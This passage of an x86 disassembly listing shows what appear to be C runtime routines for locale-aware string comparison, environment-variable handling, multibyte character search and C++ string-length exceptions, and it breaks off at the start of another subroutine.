mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_434BC7
mov eax, 2
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434BC7: ; CODE XREF: sub_4349C0+1E8j
; sub_4349C0+1FBj
jmp short loc_434B78
; ---------------------------------------------------------------------------
loc_434BC9: ; CODE XREF: sub_4349C0+1CAj
; sub_4349C0+1D6j
mov eax, 3
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434BD3: ; CODE XREF: sub_4349C0+19Ej
cmp [ebp+arg_14], 0
jle short loc_434C4C
cmp [ebp+var_3C], 2
jnb short loc_434BE9
mov eax, 1
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434BE9: ; CODE XREF: sub_4349C0+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_434BFA
; ---------------------------------------------------------------------------
loc_434BF1: ; CODE XREF: sub_4349C0:loc_434C40j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_434BFA: ; CODE XREF: sub_4349C0+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_434C42
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_434C42
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_434C40
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_434C40
mov eax, 2
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434C40: ; CODE XREF: sub_4349C0+261j
; sub_4349C0+274j
jmp short loc_434BF1
; ---------------------------------------------------------------------------
loc_434C42: ; CODE XREF: sub_4349C0+243j
; sub_4349C0+24Fj
mov eax, 1
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434C4C: ; CODE XREF: sub_4349C0+10Aj
; sub_4349C0+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_434C74
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434C74: ; CODE XREF: sub_4349C0+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_434CB6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_434CB6: ; CODE XREF: sub_4349C0+2DDj
cmp [ebp+var_24], 0
jnz short loc_434CC3
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434CC3: ; CODE XREF: sub_4349C0+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
test eax, eax
jnz short loc_434CEA
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434CEA: ; CODE XREF: sub_4349C0+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_434D12
xor eax, eax
jmp loc_434DA4
; ---------------------------------------------------------------------------
loc_434D12: ; CODE XREF: sub_4349C0+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_434D54
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_434D54: ; CODE XREF: sub_4349C0+37Bj
cmp [ebp+var_28], 0
jnz short loc_434D5E
xor eax, eax
jmp short loc_434DA4
; ---------------------------------------------------------------------------
loc_434D5E: ; CODE XREF: sub_4349C0+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
test eax, eax
jnz short loc_434D82
xor eax, eax
jmp short loc_434DA4
; ---------------------------------------------------------------------------
loc_434D82: ; CODE XREF: sub_4349C0+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F12C4 ; CompareStringW
jmp short loc_434DA4
; ---------------------------------------------------------------------------
loc_434DA2: ; CODE XREF: sub_4349C0+EBj
xor eax, eax
loc_434DA4: ; CODE XREF: sub_4349C0+81j
; sub_4349C0+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4349C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434DC0 proc near ; CODE XREF: sub_4349C0+94p
; sub_4349C0+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_434DD2: ; CODE XREF: sub_434DC0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_434DF7
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_434DF7
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_434DD2
; ---------------------------------------------------------------------------
loc_434DF7: ; CODE XREF: sub_434DC0+20j
; sub_434DC0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_434E09
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_434E0C
; ---------------------------------------------------------------------------
loc_434E09: ; CODE XREF: sub_434DC0+3Fj
mov eax, [ebp+arg_4]
loc_434E0C: ; CODE XREF: sub_434DC0+47j
mov esp, ebp
pop ebp
retn
sub_434DC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434E10 proc near ; CODE XREF: sub_4345C0+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_434E3C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_435260
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_434E3C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_434E44
loc_434E3C: ; CODE XREF: sub_434E10+Bj
; sub_434E10+22j
or eax, 0FFFFFFFFh
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_434E44: ; CODE XREF: sub_434E10+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, dword_4EF898
cmp ecx, dword_4EF89C
jnz short loc_434E75
mov edx, dword_4EF898
push edx
call sub_435170
add esp, 4
mov dword_4EF898, eax
loc_434E75: ; CODE XREF: sub_434E10+4Fj
cmp dword_4EF898, 0
jnz loc_434F35
cmp [ebp+arg_4], 0
jz short loc_434EA7
cmp dword_4EF8A0, 0
jz short loc_434EA7
call sub_4345C0
test eax, eax
jz short loc_434EA2
or eax, 0FFFFFFFFh
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_434EA2: ; CODE XREF: sub_434E10+88j
jmp loc_434F35
; ---------------------------------------------------------------------------
loc_434EA7: ; CODE XREF: sub_434E10+76j
; sub_434E10+7Fj
cmp [ebp+var_14], 0
jz short loc_434EB4
xor eax, eax
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_434EB4: ; CODE XREF: sub_434E10+9Bj
cmp dword_4EF898, 0
jnz short loc_434EF4
push 87h
push offset dword_438F98
push 2
push 4
call sub_418EF0
add esp, 10h
mov dword_4EF898, eax
cmp dword_4EF898, 0
jnz short loc_434EE9
or eax, 0FFFFFFFFh
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_434EE9: ; CODE XREF: sub_434E10+CFj
mov eax, dword_4EF898
mov dword ptr [eax], 0
loc_434EF4: ; CODE XREF: sub_434E10+ABj
cmp dword_4EF8A0, 0
jnz short loc_434F35
push 8Eh
push offset dword_438F98
push 2
push 4
call sub_418EF0
add esp, 10h
mov dword_4EF8A0, eax
cmp dword_4EF8A0, 0
jnz short loc_434F29
or eax, 0FFFFFFFFh
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_434F29: ; CODE XREF: sub_434E10+10Fj
mov ecx, dword_4EF8A0
mov dword ptr [ecx], 0
loc_434F35: ; CODE XREF: sub_434E10+6Cj
; sub_434E10:loc_434EA2j ...
mov edx, dword_4EF898
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4350F0
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_434FF1
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_434FF1
cmp [ebp+var_14], 0
jz short loc_434FE3
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_419980
add esp, 8
jmp short loc_434F8F
; ---------------------------------------------------------------------------
loc_434F86: ; CODE XREF: sub_434E10+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_434F8F: ; CODE XREF: sub_434E10+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_434FB0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_434F86
; ---------------------------------------------------------------------------
loc_434FB0: ; CODE XREF: sub_434E10+189j
push 0B9h
push offset dword_438F98
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_419380
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_434FE1
mov edx, [ebp+var_C]
mov dword_4EF898, edx
loc_434FE1: ; CODE XREF: sub_434E10+1C6j
jmp short loc_434FEF
; ---------------------------------------------------------------------------
loc_434FE3: ; CODE XREF: sub_434E10+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_434FEF: ; CODE XREF: sub_434E10:loc_434FE1j
jmp short loc_435064
; ---------------------------------------------------------------------------
loc_434FF1: ; CODE XREF: sub_434E10+148j
; sub_434E10+154j
cmp [ebp+var_14], 0
jnz short loc_43505D
cmp [ebp+var_8], 0
jge short loc_435005
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_435005: ; CODE XREF: sub_434E10+1EBj
push 0CEh
push offset dword_438F98
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_419380
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_435039
or eax, 0FFFFFFFFh
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_435039: ; CODE XREF: sub_434E10+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov dword_4EF898, eax
jmp short loc_435064
; ---------------------------------------------------------------------------
loc_43505D: ; CODE XREF: sub_434E10+1E5j
xor eax, eax
jmp loc_4350EB
; ---------------------------------------------------------------------------
loc_435064: ; CODE XREF: sub_434E10:loc_434FEFj
; sub_434E10+24Bj
cmp [ebp+arg_4], 0
jz short loc_4350E9
push 0E5h
push offset dword_438F98
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_418D00
add esp, 4
add eax, 2
push eax
call sub_418EF0
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4350E9
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_41C300
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
call dword_4F12C0 ; SetEnvironmentVariableA
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_419980
add esp, 8
loc_4350E9: ; CODE XREF: sub_434E10+258j
; sub_434E10+285j
xor eax, eax
loc_4350EB: ; CODE XREF: sub_434E10+2Fj
; sub_434E10+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_434E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4350F0 proc near ; CODE XREF: sub_434E10+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EF898
mov [ebp+var_4], eax
jmp short loc_435107
; ---------------------------------------------------------------------------
loc_4350FE: ; CODE XREF: sub_4350F0:loc_435158j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_435107: ; CODE XREF: sub_4350F0+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_43515A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_434570
add esp, 0Ch
test eax, eax
jnz short loc_435158
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_43514A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_435158
loc_43514A: ; CODE XREF: sub_4350F0+48j
mov eax, [ebp+var_4]
sub eax, dword_4EF898
sar eax, 2
jmp short loc_435168
; ---------------------------------------------------------------------------
loc_435158: ; CODE XREF: sub_4350F0+37j
; sub_4350F0+58j
jmp short loc_4350FE
; ---------------------------------------------------------------------------
loc_43515A: ; CODE XREF: sub_4350F0+1Dj
mov eax, [ebp+var_4]
sub eax, dword_4EF898
sar eax, 2
neg eax
loc_435168: ; CODE XREF: sub_4350F0+66j
mov esp, ebp
pop ebp
retn
sub_4350F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435170 proc near ; CODE XREF: sub_434E10+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_435190
xor eax, eax
jmp loc_43525A
; ---------------------------------------------------------------------------
loc_435190: ; CODE XREF: sub_435170+17j
; sub_435170+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_4351AD
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_435190
; ---------------------------------------------------------------------------
loc_4351AD: ; CODE XREF: sub_435170+30j
push 146h
push offset dword_438F98
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_418EF0
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_4351E5
push 9
call sub_41EB30
add esp, 4
loc_4351E5: ; CODE XREF: sub_435170+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_4351EB: ; CODE XREF: sub_435170+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_43524E
push 14Fh
push offset dword_438F98
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_418EF0
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_43523A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_41C300
add esp, 8
loc_43523A: ; CODE XREF: sub_435170+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
loc_435246: ; DATA XREF: .nsp0:00452064o
add edx, 4
mov [ebp+var_8], edx
jmp short loc_4351EB
; ---------------------------------------------------------------------------
loc_43524E: ; CODE XREF: sub_435170+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_43525A: ; CODE XREF: sub_435170+1Bj
mov esp, ebp
pop ebp
retn
sub_435170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435260 proc near ; CODE XREF: sub_434E10+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp dword_4EFD5C, 0
jnz short loc_435282
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41C400
add esp, 8
jmp loc_435349
; ---------------------------------------------------------------------------
loc_435282: ; CODE XREF: sub_435260+Bj
push 19h
call sub_41FB40
add esp, 4
jmp short loc_435297
; ---------------------------------------------------------------------------
loc_43528E: ; CODE XREF: sub_435260:loc_435326j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_435297: ; CODE XREF: sub_435260+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43532B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_4EFE61[eax]
and ecx, 4
test ecx, ecx
jz short loc_435316
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_4352E8
push 19h
call sub_41FBE0
add esp, 4
xor eax, eax
jmp short loc_435349
; ---------------------------------------------------------------------------
loc_4352E8: ; CODE XREF: sub_435260+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_435314
push 19h
call sub_41FBE0
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_435349
; ---------------------------------------------------------------------------
loc_435314: ; CODE XREF: sub_435260+A0j
jmp short loc_435326
; ---------------------------------------------------------------------------
loc_435316: ; CODE XREF: sub_435260+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_435326
jmp short loc_43532B
; ---------------------------------------------------------------------------
loc_435326: ; CODE XREF: sub_435260:loc_435314j
; sub_435260+C2j
jmp loc_43528E
; ---------------------------------------------------------------------------
loc_43532B: ; CODE XREF: sub_435260+4Dj
; sub_435260+C4j
push 19h
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_435347
mov eax, [ebp+arg_0]
loc_435345: ; DATA XREF: .nsp0:004520E8o
jmp short loc_435349
; ---------------------------------------------------------------------------
loc_435347: ; CODE XREF: sub_435260+E0j
xor eax, eax
loc_435349: ; CODE XREF: sub_435260+1Dj
; sub_435260+86j ...
mov esp, ebp
pop ebp
retn
sub_435260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435350 proc near ; CODE XREF: sub_40CE0D+15p
; sub_40CEA1+15p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_435350
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40CDBA
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_435500
push offset dword_4392F0
lea edx, [ebp+var_28]
push edx
call sub_435F60
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_435350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4353B0 proc near ; CODE XREF: sub_435440+10p
; sub_435620+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4353B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call sub_435CE0
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40CD90
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_438FB8
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_4353B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435420 proc near ; DATA XREF: .nsp0:00438FBCo
; .nsp0:00438FCCo ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
add ecx, 0Ch
call sub_40CE7C
mov esp, ebp
pop ebp
retn
sub_435420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435440 proc near ; DATA XREF: .nsp0:00438FC0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_4353B0
push offset dword_439360
lea ecx, [ebp+var_1C]
push ecx
call sub_435F60
mov esp, ebp
pop ebp
retn
sub_435440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435470 proc near ; CODE XREF: sub_4354D0+Ap
; sub_4355A0+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_435470
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_438FB8
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40CDDD
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_435DA0
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_435470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4354D0 proc near ; DATA XREF: .nsp0:off_438FB8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_435470
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_4354F5
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_4354F5: ; CODE XREF: sub_4354D0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4354D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435500 proc near ; CODE XREF: sub_435350+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_435530
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_438FC8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435530 proc near ; CODE XREF: sub_435500+Ep
; sub_4356B0+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_435530
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_437ECC
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call sub_435C70
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40CD90
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_438FB8
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_435530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4355A0 proc near ; CODE XREF: sub_4355F0+Ap
; DATA XREF: .nsp0:004392F4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_438FC8
mov ecx, [ebp+var_4]
call sub_435470
mov esp, ebp
pop ebp
retn
sub_4355A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4355C0 proc near ; DATA XREF: .nsp0:00438FD0o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_435620
push offset dword_4392F0
lea ecx, [ebp+var_1C]
push ecx
call sub_435F60
mov esp, ebp
pop ebp
retn
sub_4355C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4355F0 proc near ; DATA XREF: .nsp0:off_438FC8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4355A0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_435615
mov ecx, [ebp+var_4]
push ecx
call sub_41D860
add esp, 4
loc_435615: ; CODE XREF: sub_4355F0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4355F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435620 proc near ; CODE XREF: sub_4355C0+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4353B0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_438FC8
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_435620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
